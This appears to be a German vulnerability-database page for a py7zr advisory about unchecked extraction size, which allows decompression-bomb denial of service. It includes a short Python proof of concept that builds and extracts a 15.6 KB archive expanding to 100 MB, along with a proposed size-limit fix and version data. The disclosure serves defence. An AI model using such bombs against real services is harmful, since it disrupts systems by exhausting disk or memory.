Mittel

py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size

Veröffentlicht: 19.06.2026
Aktualisiert: 11.10.2026 14:17

py7zr's Worker.decompress() extracts archive entries without tracking total decompressed size. A crafted .7z file can exhaust disk or memory before the extraction completes.

Measured: 15.6 KB archive → 100 MB output (6,556:1 ratio).

Proof of concept:

python

import py7zr, tempfile, os

# create bomb: compress 100MB of zeros into ~15KB
bomb_path = tempfile.mktemp(suffix='.7z')
with py7zr.SevenZipFile(bomb_path, 'w') as z:
    import io
    z.writef(io.BytesIO(b'\x00' * 100 * 1024 * 1024), 'bomb.bin')

print(f'archive size: {os.path.getsize(bomb_path):,} bytes')

# extract — no size check
with py7zr.SevenZipFile(bomb_path, 'r') as z:
    z.extractall(path=tempfile.mkdtemp())

print('extracted 100 MB from ~15 KB archive')

Root cause: Worker.decompress() in py7zr/worker.py writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python's zipfile max_size parameter.

Fix: track cumulative decompressed bytes and raise before writing if a limit is exceeded:

python

MAX_EXTRACT_SIZE = 2 * 1024 ** 3  # 2 GB default, configurable

total = 0
for chunk in decompressed_chunks:
    total += len(chunk)
    if total > MAX_EXTRACT_SIZE:
        raise py7zr.exceptions.DecompressionBombError(
            f'Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes'
        )
    outfile.write(chunk)

Tested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

Plattform	Paket	Anfällige Versionen	Behoben in
Python (PyPI)	py7zr	< 1.1.3	1.1.3

Verweise

CVSS-Wert -

CVSS-Vektor: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Schwäche (CWE): CWE-409
Plattform: Python (PyPI)
Paket: py7zr
Veröffentlicht: 19.06.2026
Aktualisiert: 11.10.2026 14:17

Quellen und Lizenzen

OSV / GitHub Advisory Database - PYSEC-2026-2972 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-gjrg-mpp7-g774 - CC BY 4.0

Schwachstellenhistorie: py7zr

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Einträge insgesamt: 4
Erste → letzte: 12.2022 06.2026
Ohne Fix: 0
In Angriffen ausgenutzt: 0

Verteilung nach Schweregrad

Kritisch 1
Hoch 1
Mittel 2

Veröffentlichungen pro Jahr

2022: 1
2023: 0
2024: 0
2025: 0
2026: 3

19.06.2026

py7zr: O(n^2) algorithmic complexity DoS in PackInfo._read()

Mittel CVE-2026-55206 < 1.1.3 1.1.3
19.06.2026

py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size dieser Eintrag

Mittel CVE-2026-55195 < 1.1.3 1.1.3
19.06.2026

py7zr: Arbitrary File Write Vulnerability

Hoch · 8.0 CVE-2026-23879 < 1.1.3 1.1.3
06.12.2022

A directory traversal vulnerability in the SevenZipFile.extractall() function of the python library py7zr v0.20.0 and earlier allows attackers to write arbitrary files via extracting a crafted 7z file

Kritisch · 9.1 CVE-2022-44900 < 0.20.1 0.20.1

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden